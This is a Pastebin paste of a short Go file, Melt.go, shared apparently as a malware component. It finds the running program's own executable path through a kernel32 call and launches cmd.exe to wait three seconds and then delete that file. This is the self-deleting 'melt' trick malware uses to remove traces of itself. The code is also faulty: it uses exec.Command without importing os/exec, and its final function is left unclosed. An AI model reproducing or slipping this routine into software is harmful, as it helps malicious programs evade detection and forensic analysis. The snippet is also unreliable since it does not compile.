Advertisement
FlyFar

Melt.go

Jul 15th, 2023
1,111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.69 KB | Cybersecurity | 0 0
  1. package Melt
  2.  
  3. import (
  4.     "fmt"
  5.     "os"
  6.     "syscall"
  7.     "unicode/utf16"
  8.     "unsafe"
  9. )
  10.  
  11. func getMyName() (string, error) {
  12.     var sysproc = syscall.MustLoadDLL("kernel32.dll").MustFindProc("GetModuleFileNameW")
  13.     b := make([]uint16, syscall.MAX_PATH)
  14.     r, _, err := sysproc.Call(0, uintptr(unsafe.Pointer(&b[0])), uintptr(len(b)))
  15.     n := uint32(r)
  16.     if n == 0 {
  17.         return "", err
  18.     }
  19.     return string(utf16.Decode(b[0:n])), nil
  20. }
  21.  
  22. func melt() {
  23.     path, err := getMyName()
  24.     if err != nil {
  25.         fmt.Printf("getMyName failed: %v\n", err)
  26.         os.Exit(1)
  27.     }
  28.   err = exec.Command("cmd.exe",
  29.     "/C choice /C Y /N /D Y /T 3 & Del " + path).Run()
  30.   if err != nil {
  31.   fmt.Println(err.Error())
  32.   os.Exit(1)
  33. }
Tags: go
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement